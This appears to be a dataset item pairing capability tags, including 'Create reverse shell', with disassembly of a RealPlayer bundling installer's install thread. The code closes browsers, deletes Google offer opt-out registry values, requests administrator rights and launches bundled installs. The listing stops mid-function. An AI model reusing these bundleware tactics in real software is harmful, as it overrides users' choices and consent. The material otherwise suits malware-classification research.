Function at 0x431004
Capabilities:
Check for time delay via gettickcount
Connect pipe
Contain obfuscated stackstrings
Create pipe
Create process on windows
Create reverse shell
Delete registry value
Parse pe header
Read file on windows
Read pipe
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
sub esp, 0x10c
lea ebp, [esp - 4]
mov eax, dword [0x4f9590]
xor eax, ebp
mov dword [ebp + 0x10c], eax
push 0x33c
mov eax, 0x4c132e
call fcn.00494508
mov esi, ecx
push str.install_thread:_entering
lea ecx, [ebp - 0x18]
call fcn.00472760
and dword [ebp - 4], 0
lea eax, [ebp - 0x18]
push eax
call fcn.00411cd0
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00472740
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [esi + 0x1cc]
mov ecx, edi
mov dword [esi + 0x9f0], eax
mov dword [ebp - 0x90], edi
call fcn.0042338f
and dword [esi + 0xa08], 0
xor ebx, ebx
inc ebx
push ebx
mov ecx, edi
call fcn.0041e492
and dword [ebp - 0x7c], 0
and dword [ebp - 0xac], 0
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x5c], ebx
call fcn.00473910
mov eax, dword [esi + 0x5d0]
mov dword [ebp - 4], ebx
cmp eax, dword [esi + 0x5d4]
je 0x43116c
lea edi, [eax + 0x84]
cmp dword [edi - 0x78], 0
lea eax, [edi - 0x7c]
mov dword [ebp - 0x58], eax
je 0x4310e4
mov ecx, edi
call fcn.004724c0
test eax, eax
je 0x4310e4
lea eax, [edi - 0x30]
push str.main
push eax
call fcn.0040d57d
pop ecx
pop ecx
test al, al
jne 0x4310fa
add edi, 0xd0
lea ecx, [edi - 0x84]
cmp ecx, dword [esi + 0x5d4]
jne 0x4310b9
jmp 0x43116c
cmp dword [esi + 0x474], 0
je 0x431158
push str.install_thread:_closing_browsers
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 2
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
mov ecx, esi
call fcn.0042557a
push str.install_thread:_back_from_closing_browsers
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 3
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
push dword [ebp - 0x58]
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xac], ebx
call fcn.004739c0
push str.install_thread:_here1
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 4
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
mov edi, dword [esi + 0x5d0]
cmp edi, dword [esi + 0x5d4]
je 0x43120d
add edi, 0x84
cmp dword [edi - 0x78], 0
je 0x4311f9
mov ecx, edi
call fcn.004724c0
test eax, eax
je 0x4311f9
lea eax, [edi - 0x30]
push str.main
push eax
call fcn.0040d5c5
pop ecx
pop ecx
test al, al
je 0x4311f9
inc dword [ebp - 0x7c]
lea eax, [edi - 0x20]
push str.post
push eax
call fcn.0040d57d
pop ecx
pop ecx
test al, al
lea eax, [edi - 0x7c]
lea ecx, [ebp - 0xc0]
push eax
je 0x4311f4
call fcn.00473a10
jmp 0x4311f9
call fcn.004739c0
add edi, 0xd0
lea ecx, [edi - 0x84]
cmp ecx, dword [esi + 0x5d4]
jne 0x4311a7
mov edi, str.install_thread:_here2
push edi
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 5
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
cmp dword [ebp - 0xb0], 0
jle 0x4333d0
push edi
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 6
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
mov eax, dword [esi + 0x24]
test eax, eax
je 0x4317c4
lea ecx, [esi + 0x74]
cmp byte [ecx + 7], 0xff
lea edx, [esi + 8]
jne 0x43127e
mov ecx, dword [ecx]
push ecx
push edx
call eax
pop ecx
pop ecx
test eax, eax
jne 0x4317c4
push str.install_thread:_here3
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 7
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
mov eax, dword [esi + 0x9d0]
cmp eax, 1
jb 0x4317b9
push eax
push 0x2c
lea eax, [ebp - 0xa8]
push eax
lea ecx, [esi + 0x4b8]
call fcn.004730e0
lea eax, [ebp - 0xa8]
push eax
lea ecx, [esi + 0x634]
mov byte [ebp - 4], 8
call fcn.0042adc3
add eax, 4
push eax
lea eax, [ebp - 0x20]
push str.actioncancelvalue
push eax
call fcn.00473090
add esp, 0xc
mov edx, dword [esi]
push 1
push eax
mov ecx, esi
mov byte [ebp - 4], 9
call dword [edx + 0x10]
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 8
call fcn.00472740
push str.actionpageviewvaluecancel
lea ecx, [ebp - 0x18]
call fcn.00472760
mov eax, dword [esi]
push 0xa
lea ecx, [ebp - 0x18]
push ecx
mov ecx, esi
mov byte [ebp - 4], 0xa
call dword [eax + 0x10]
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 8
call fcn.00472740
push str.overinstall
lea ecx, [ebp - 0x18]
call fcn.00472760
cmp dword [esi + 0x5c], 0
mov byte [ebp - 4], 0xb
jne 0x43175a
lea ebx, [esi + 0x42c]
mov ecx, ebx
call fcn.0040d513
test al, al
jne 0x43175a
push ebx
lea ecx, [ebp - 0x28]
call fcn.004726a0
cmp byte [ebp - 0x21], 0xff
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x28]
jne 0x43138f
mov eax, dword [ebp - 0x28]
push 0x4cf410
push eax
call fcn.00493860
pop ecx
test eax, eax
lea eax, [esi + 0x15c]
pop ecx
push eax
lea eax, [ebp - 0x20]
jne 0x4313be
push str._distcode
push eax
call fcn.00473090
add esp, 0xc
mov byte [ebp - 4], 0xd
jmp 0x4313d0
push 0x4d0220
push eax
call fcn.00473090
add esp, 0xc
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x28]
call fcn.00472ca0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xc
call fcn.00472740
lea eax, [esi + 0x194]
push eax
lea eax, [ebp - 0x20]
push 0x4d0218
push eax
call fcn.00473090
add esp, 0xc
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xf
call fcn.00472ca0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xc
call fcn.00472740
lea eax, [esi + 0x17c]
push eax
lea eax, [ebp - 0x20]
push str.li
push eax
call fcn.00473090
add esp, 0xc
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x10
call fcn.00472ca0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xc
call fcn.00472740
lea ecx, [ebp - 0x78]
call fcn.004724b0
mov eax, dword [esi + 0x9d0]
mov byte [ebp - 4], 0x11
cmp eax, 1
jb 0x431489
push eax
push 0x2c
lea eax, [ebp - 0x20]
push eax
lea ecx, [esi + 0x4b8]
call fcn.004730e0
push eax
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0x12
call fcn.004727f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x11
call fcn.00472740
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x20]
push str.cancelled
push eax
call fcn.00473090
add esp, 0xc
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x13
call fcn.00472ca0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x11
call fcn.00472740
lea ecx, [ebp - 0x38]
call fcn.004724b0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x14
call fcn.004724b0
mov edi, dword [esi + 0x5d0]
mov byte [ebp - 4], 0x15
cmp edi, dword [esi + 0x5d4]
je 0x4315d6
mov ebx, 0x4cf9a4
cmp dword [edi + 8], 0
je 0x431552
lea ecx, [ebp - 0x38]
call fcn.0040d513
test al, al
jne 0x431522
push ebx
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00473040
add esp, 0xc
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x16
call fcn.004727f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x15
call fcn.00472740
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.00472ff0
add esp, 0xc
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x17
call fcn.004727f0
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x15
call fcn.00472740
cmp dword [edi + 0xc], 0
je 0x4315c4
lea ecx, [ebp - 0x40]
call fcn.0040d513
test al, al
jne 0x431594
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00473040
add esp, 0xc
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x18
call fcn.004727f0
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x15
call fcn.00472740
push edi
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00472ff0
add esp, 0xc
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x19
call fcn.004727f0
lea ecx, [ebp - 0xc8]
mov byte [ebp - 4], 0x15
call fcn.00472740
add edi, 0xd0
cmp edi, dword [esi + 0x5d4]
jne 0x4314e6
lea ecx, [ebp - 0x38]
call fcn.0040d513
test al, al
je 0x4315ef
push str.none
lea ecx, [ebp - 0x38]
call fcn.00472890
lea ecx, [ebp - 0x40]
call fcn.0040d513
test al, al
je 0x431608
push str.none
lea ecx, [ebp - 0x40]
call fcn.00472890
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x98]
push str.displayedoffer
push eax
call fcn.00473090
push str.acceptedoffer
push eax
lea eax, [ebp - 0xa0]
push eax
mov byte [ebp - 4], 0x1a
call fcn.00473040
lea ecx, [ebp - 0x40]
push ecx
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 4], 0x1b
call fcn.00472ff0
add esp, 0x24
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1c
call fcn.00472ca0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x1b
call fcn.00472740
lea ecx, [ebp - 0xa0]
mov byte [ebp - 4], 0x1a
call fcn.00472740
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 0x15
call fcn.00472740
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push str.action
push eax
call fcn.00473090
add esp, 0xc
push eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x1d
call fcn.00472ca0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x15
call fcn.00472740
push 0x38
xor edi, edi
lea eax, [ebp - 0x334]
push edi
push eax
call fcn.00493f80
add esp, 0xc
cmp byte [ebp - 0x21], 0xff
mov dword [ebp - 0x338], 0x3c
mov dword [ebp - 0x334], 0x440
mov dword [ebp - 0x330], edi
mov dword [ebp - 0x32c], str.open
lea eax, [ebp - 0x28]
jne 0x4316f1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x338]
push eax
mov dword [ebp - 0x324], edi
mov dword [ebp - 0x320], edi
mov dword [ebp - 0x31c], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x43172a
push dword [ebp - 0x300]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x14
call fcn.00472740
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x11
call fcn.00472740
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 0xc
call fcn.00472740
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0xb
call fcn.00472740
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 8
call fcn.00472740
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
mov ebx, reloc.OLEAUT32.dll_SysReAllocString
je 0x431784
push 0x4d3508
push str.SOFTWAREGoogleNo_Chrome_Offer_Until
push ebx
call edi
cmp dword [esi + 0x54], 0
je 0x431797
push 0x4d3508
push str.SOFTWAREGoogleNo_Toolbar_Offer_Until
push ebx
call edi
cmp dword [esi + 0x58], 0
je 0x4317aa
push 0x4d3508
push str.SOFTWAREGoogleNo_Drive_Offer_Until
push ebx
call edi
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 1
call fcn.00472740
and dword [ebp - 0x5c], 0
mov dword [esi + 0x14], 1
push str.install_thread:_here4
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 0x1e
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
cmp dword [ebp - 0x5c], 0
je 0x4333d0
push 0x4d3460
lea ecx, [ebp - 0x18]
call fcn.00472760
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 0x1f
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00472740
and dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0xb0]
jge 0x4333d0
mov eax, dword [esi + 0xa08]
push dword [ebp - 0x80]
and dword [esi + 0xa14], 0
lea ecx, [ebp - 0xc0]
mov dword [esi + 0xa04], eax
call fcn.00473bf0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00473a70
mov ebx, dword [eax]
mov edi, str.main
lea eax, [ebx + 0x4c]
push edi
push eax
mov dword [ebp - 0x4c], ebx
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x431889
mov eax, dword [ebp - 0xb0]
dec eax
neg eax
sbb eax, eax
and eax, 0xffffffec
add eax, 0x64
jmp 0x4318ac
cmp dword [ebp - 0xac], 0
fild dword [ebp - 0x7c]
fld1
fdivrp st(1)
je 0x4318a1
fmul qword [0x4d3450]
jmp 0x4318a7
fmul qword [0x4cfa40]
call fcn.004980f0
mov dword [esi + 0xa14], eax
cmp dword [ebx + 4], 0
je 0x4332a8
lea eax, [ebx + 0x4c]
push edi
push eax
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x4319e0
push str.clean
lea ecx, [ebp - 0xd8]
call fcn.00472760
mov eax, dword [esi + 0x4f4]
mov byte [ebp - 4], 0x20
cmp eax, 1
jne 0x4318f6
push str.over
jmp 0x431900
cmp eax, 0xffffffff
jne 0x43190b
push str.under
lea ecx, [ebp - 0xd8]
call fcn.00472890
lea edi, [ebx + 0x3c]
push edi
lea eax, [ebp - 0x348]
push str.actioninstallerstartedvalue
push eax
call fcn.00473090
push str.installtype
push eax
lea eax, [ebp - 0x2f4]
push eax
mov byte [ebp - 4], 0x21
call fcn.00473040
lea ecx, [ebp - 0xd8]
push ecx
push eax
lea eax, [ebp - 0x2d8]
push eax
mov byte [ebp - 4], 0x22
call fcn.00472ff0
push str.webuserid
push eax
lea eax, [ebp - 0x2c8]
push eax
mov byte [ebp - 4], 0x23
call fcn.00473040
lea ecx, [esi + 0x164]
push ecx
push eax
lea eax, [ebp - 0x1e0]
push eax
mov byte [ebp - 4], 0x24
call fcn.00472ff0
add esp, 0x3c
mov edx, dword [esi]
push 0
push eax
mov ecx, esi
mov byte [ebp - 4], 0x25
call dword [edx + 0x10]
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x24
call fcn.00472740
lea ecx, [ebp - 0x2c8]
mov byte [ebp - 4], 0x23
call fcn.00472740
lea ecx, [ebp - 0x2d8]
mov byte [ebp - 4], 0x22
call fcn.00472740
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 4], 0x21
call fcn.00472740
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x20
call fcn.00472740
lea ecx, [ebp - 0xd8]
jmp 0x431a58
lea edi, [ebx + 0x3c]
push edi
lea eax, [ebp - 0x270]
push str.actioninstallerstartedvalue
push eax
call fcn.00473090
push str.webuserid
push eax
lea eax, [ebp - 0x1c0]
push eax
mov byte [ebp - 4], 0x26
call fcn.00473040
lea ecx, [esi + 0x164]
push ecx
push eax
lea eax, [ebp - 0x2c0]
push eax
mov byte [ebp - 4], 0x27
call fcn.00472ff0
add esp, 0x24
mov edx, dword [esi]
push 0
push eax
mov ecx, esi
mov byte [ebp - 4], 0x28
call dword [edx + 0x10]
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0x27
call fcn.00472740
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x26
call fcn.00472740
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 1
call fcn.00472740
lea ecx, [ebp - 0x88]
call fcn.004724b0
lea eax, [ebx + 0x54]
push 0x4ce0d8
push eax
mov byte [ebp - 4], 0x29
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x431e86
push str.install_thread:_pkg__rp
lea ecx, [ebp - 0x1a0]
call fcn.00472760
lea eax, [ebp - 0x1a0]
push eax
mov byte [ebp - 4], 0x2a
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x29
call fcn.00472740
push edi
lea ecx, [esi + 0x5a8]
call fcn.00417010
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2ec]
push eax
mov ecx, esi
call fcn.004233ed
push str.rnsetup.cfg
push eax
lea eax, [ebp - 0x1d0]
push eax
mov byte [ebp - 4], 0x2b
call fcn.00473040
add esp, 0xc
cmp byte [eax + 7], 0xff
mov byte [ebp - 4], 0x2c
jne 0x431afa
mov eax, dword [eax]
push 0x4ce1e8
push eax
call fcn.00494fff
pop ecx
pop ecx
lea ecx, [ebp - 0x1d0]
mov ebx, eax
mov byte [ebp - 4], 0x2b
call fcn.00472740
lea ecx, [ebp - 0x2ec]
mov byte [ebp - 4], 0x29
call fcn.00472740
test ebx, ebx
je 0x431c93
push str.StubInstall1_r_n
push ebx
call fcn.004966ab
push str.AlwaysUseDefInstallPath1_r_n
push ebx
call fcn.004966ab
add esp, 0x10
lea ecx, [esi + 0x15c]
call fcn.004724c0
test eax, eax
je 0x431ba9
push 0
lea ecx, [esi + 0x15c]
call fcn.004731d0
push eax
push str.DistCode_s_r_n
push ebx
call fcn.004966ab
add esp, 0xc
push 0xffffffffffffffff
lea ecx, [esi + 0x15c]
call fcn.00473260
push 0
lea ecx, [esi + 0x15c]
call fcn.004731d0
push eax
push str.OrigCode_s_r_n
push ebx
call fcn.004966ab
add esp, 0xc
push 0xffffffffffffffff
lea ecx, [esi + 0x15c]
call fcn.00473260
mov eax, dword [ebp - 0x2c]
mov edi, dword [eax]
jmp 0x431bec
lea ecx, [edi + 8]
push 0
call fcn.004731d0
push eax
push 0
mov ecx, edi
call fcn.004731d0
push eax
push str._s_s_r_n
push ebx
call fcn.004966ab
add esp, 0x10
push 0xffffffffffffffff
lea ecx, [edi + 8]
call fcn.00473260
push 0xffffffffffffffff
mov ecx, edi
call fcn.00473260
mov eax, dword [ebp - 0x2c]
add edi, 0x10
cmp edi, dword [eax + 4]
jne 0x431bb0
push ebx
call fcn.00494b68
pop ecx
lea eax, [ebp - 0x2d0]
push eax
mov ecx, esi
call fcn.004233ed
mov edi, eax
push str.__cfg
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 0x2d
call fcn.00472760
push edi
push eax
lea eax, [ebp - 0x280]
push eax
mov byte [ebp - 4], 0x2e
call fcn.00472ff0
push str.rnsetup.cfg
push eax
lea eax, [ebp - 0x1a8]
push eax
mov byte [ebp - 4], 0x2f
call fcn.00473040
add esp, 0x18
push eax
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x30
call fcn.004727f0
lea ecx, [ebp - 0x1a8]
mov byte [ebp - 4], 0x2f
call fcn.00472740
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 0x2e
call fcn.00472740
lea ecx, [ebp - 0x1f0]
mov byte [ebp - 4], 0x2d
call fcn.00472740
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x29
call fcn.00472740
mov eax, dword [ebp - 0x4c]
add eax, 0x7c
push str..manifest
push eax
lea eax, [ebp - 0x200]
push eax
call fcn.00473040
add esp, 0xc
cmp byte [eax + 7], 0xff
mov byte [ebp - 4], 0x31
jne 0x431cba
mov eax, dword [eax]
push 0x4ce1e8
push eax
call fcn.00494fff
pop ecx
pop ecx
lea ecx, [ebp - 0x200]
mov edi, eax
mov byte [ebp - 4], 0x29
call fcn.00472740
test edi, edi
je 0x431e53
push str.__xml_version_1.0__encoding_UTF_8__standalone_yes____r_n
push edi
call fcn.004966ab
push str._assembly_xmlns_urn:schemas_microsoft_com:asm.v1__manifestVersion_1.0___r_n
push edi
call fcn.004966ab
push str._t_assemblyIdentity_r_n
push edi
call fcn.004966ab
push str._t____version_1.0.0.0__r_n
push edi
call fcn.004966ab
push str._t____processorArchitecture_X86__r_n
push edi
call fcn.004966ab
push str._t____name_rnmininst.exe__r_n
push edi
call fcn.004966ab
push str._t____type_win32__r_n
push edi
call fcn.004966ab
push str._t___r_n
push edi
call fcn.004966ab
add esp, 0x40
push str._t_description_RealPlayer_Installer__description__r_n
push edi
call fcn.004966ab
push str._t_dependency__r_n
push edi
call fcn.004966ab
push str._t_____dependentAssembly__r_n
push edi
call fcn.004966ab
push str._t_________assemblyIdentity_r_n
push edi
call fcn.004966ab
push str._t____________type_win32__r_n
push edi
call fcn.004966ab
push str._t____________name_Microsoft.Windows.Common_Controls__r_n
push edi
call fcn.004966ab
push str._t____________version_6.0.0.0__r_n
push edi
call fcn.004966ab
push str._t____________processorArchitecture_X86__r_n
push edi
call fcn.004966ab
add esp, 0x40
push str._t____________publicKeyToken_6595b64144ccf1df__r_n
push edi
call fcn.004966ab
push str._t____________language___r_n
push edi
call fcn.004966ab
push str._t___________r_n
push edi
call fcn.004966ab
push str._t______dependentAssembly__r_n
push edi
call fcn.004966ab
push str._t__dependency__r_n
push edi
call fcn.004966ab
push str._t_trustInfo_xmlns_urn:schemas_microsoft_com:asm.v3___r_n
push edi
call fcn.004966ab
push str._t_t_security__r_n
push edi
call fcn.004966ab
push str._t_t_t_requestedPrivileges__r_n
push edi
call fcn.004966ab
add esp, 0x40
push str._t_t_t_t_requestedExecutionLevel_r_n
push edi
call fcn.004966ab
push str._t_t_t_t_tlevel_requireAdministrator__r_n
push edi
call fcn.004966ab
push str._t_t_t_t_tuiAccess_false__r_n
push edi
call fcn.004966ab
push str._t_t_t_t___r_n
push edi
call fcn.004966ab
push str._t_t_t__requestedPrivileges__r_n
push edi
call fcn.004966ab
push str._t_t__security__r_n
push edi
call fcn.004966ab
push str._t__trustInfo__r_n
push edi
call fcn.004966ab
push str.__assembly__r_n
push edi
call fcn.004966ab
add esp, 0x40
push edi
call fcn.00494b68
pop ecx
push str.install_thread:_end_of_RP_package_setup
lea ecx, [ebp - 0x130]
call fcn.00472760
lea eax, [ebp - 0x130]
push eax
mov byte [ebp - 4], 0x32
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x29
call fcn.00472740
mov ebx, dword [ebp - 0x4c]
lea eax, [ebx + 0x3c]
push 0x4d2f90
push eax
call fcn.0040d57d
pop ecx
pop ecx
test al, al
je 0x431fd1
lea ecx, [ebp - 0x28]
call fcn.004724b0
lea eax, [ebp - 0x28]
push eax
xor edi, edi
push edi
push edi
push 0x1c
push edi
mov byte [ebp - 4], 0x33
call fcn.0040e1d9
add esp, 0x14
lea ecx, [ebp - 0x28]
test eax, eax
je 0x4332ba
push str.The_Weather_ChannelDesktop_
call fcn.00472bc0
cmp byte [ebp - 0x21], 0xff
lea eax, [ebp - 0x28]
jne 0x431ede
mov eax, dword [ebp - 0x28]
push edi
push eax
call fcn.0040e4d2
pop ecx
pop ecx
push str.apps.ini
lea ecx, [ebp - 0x28]
call fcn.00472bc0
lea eax, [ebp - 0xec]
push eax
call fcn.00493e27
lea eax, [ebp - 0xec]
push eax
call fcn.00493e00
push 0xff
mov edi, eax
lea eax, [ebp + 0xd]
push 0
push eax
mov byte [ebp + 0xc], 0
call fcn.00493f80
push edi
call fcn.004962b1
push eax
lea eax, [ebp + 0xc]
push eax
call fcn.00494970
lea eax, [ebp + 0xc]
push eax
xor edi, edi
call fcn.00494a70
add esp, 0x24
test eax, eax
je 0x431f67
lea eax, [ebp + edi + 0xc]
cmp byte [eax], 0xd
jne 0x431f50
mov byte [eax], 0
cmp byte [eax], 0xa
jne 0x431f58
mov byte [eax], 0
lea eax, [ebp + 0xc]
push eax
inc edi
call fcn.00494a70
pop ecx
cmp edi, eax
jb 0x431f44
cmp byte [ebp - 0x21], 0xff
lea eax, [ebp - 0x28]
jne 0x431f73
mov eax, dword [ebp - 0x28]
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push eax
lea eax, [ebp + 0xc]
push eax
push 0x4d2f60
push str.SoftwareThe_Weather_ChannelAppsAppData
call edi
cmp byte [ebp - 0x21], 0xff
lea eax, [ebp - 0x28]
jne 0x431f96
mov eax, dword [ebp - 0x28]
push eax
lea eax, [ebp + 0xc]
push eax
push 0x4d2f30
push str.SoftwareThe_Weather_ChannelAppsAppData
call edi
cmp byte [ebp - 0x21], 0xff
lea eax, [ebp - 0x28]
jne 0x431fb3
mov eax, dword [ebp - 0x28]
push eax
push 0x4d2f2c
push str.initialLaunch
push str.SoftwareThe_Weather_ChannelAppsAppDataSetup
call edi
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x29
call fcn.00472740
push str.install_thread:_here6
lea ecx, [ebp - 0x140]
call fcn.00472760
lea eax, [ebp - 0x140]
push eax
mov byte [ebp - 4], 0x34
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x140]
mov byte [ebp - 4], 0x29
call fcn.00472740
lea ecx, [ebx + 0x7c]
call fcn.004724c0
test eax, eax
je 0x433287
push str.install_thread:_here7
lea ecx, [ebp - 0x150]
call fcn.00472760
lea eax, [ebp - 0x150]
push eax
mov byte [ebp - 4], 0x35
call fcn.00411cd0
pop ecx
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x29
call fcn.00472740
mov dword [esi + 0xa20], 1
mov dword [esi + 0xa24], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0xa18], eax
mov edi, 0x4cdc80
push edi
lea eax, [ebx + 0x84]
push eax
lea eax, [ebp - 0x340]
push eax
call fcn.00473040
lea ecx, [ebx + 0x8c]
push ecx
push eax
lea eax, [ebp - 0x210]
push eax
mov byte [ebp - 4], 0x36
call fcn.00472ff0
push edi
push eax
lea eax, [ebp - 0x290]
push eax
mov byte [ebp - 4], 0x37
call fcn.00473040
lea ecx, [ebp - 0x88]
push ecx
push eax
lea eax, [ebp - 0x68]
push eax
mov byte [ebp - 4], 0x38
call fcn.00472ff0
add esp, 0x30
lea ecx, [ebp - 0x290]
mov byte [ebp - 4], 0x3a
call fcn.00472740
lea ecx, [ebp - 0x210]
mov byte [ebp - 4], 0x3b
call fcn.00472740
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x3c
call fcn.00472740
lea eax, [ebx + 0x3c]
cmp byte [eax + 7], 0xff
jne 0x4320f4
mov eax, dword [eax]
push str.chrhlpr
push eax
call fcn.00493860
pop ecx
pop ecx
test eax, eax
je 0x4321a0
and dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xb0]
jge 0x4321a0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00473bf0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00473a70
mov edi, dword [eax]
lea ecx, [ebx + 0x3c]
lea eax, [edi + 0x3c]
push ecx
push eax
mov dword [ebp - 0x58], eax
call fcn.0040d59b
pop ecx
pop ecx
test al, al
je 0x432193
push str.main
add edi, 0x4c
push edi
call fcn.0040d5c5
pop ecx
pop ecx
test al, al
je 0x432193
push dword [ebp - 0x58]
lea eax, [ebp - 0x220]
push str.__pkg
push eax
call fcn.00473090
add esp, 0xc
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x3d
call fcn.00472ca0
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 0x3c
call fcn.00472740
inc dword [ebp - 0x2c]
mov edi, 0x4cdc80
jmp 0x43210d
xor eax, eax
push eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x2a0]
push eax
call fcn.004109b0
add esp, 0xc
push eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x3e
call fcn.004727f0
lea ecx, [ebp - 0x2a0]
mov byte [ebp - 4], 0x3c
call fcn.00472740
push edi
lea edi, [ebx + 0x7c]
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.00473040
lea ecx, [ebp - 0x68]
push ecx
push eax
lea eax, [ebp - 0x40]
push eax
mov byte [ebp - 4], 0x3f
call fcn.00472ff0
add esp, 0x18
lea ecx, [ebp - 0x230]
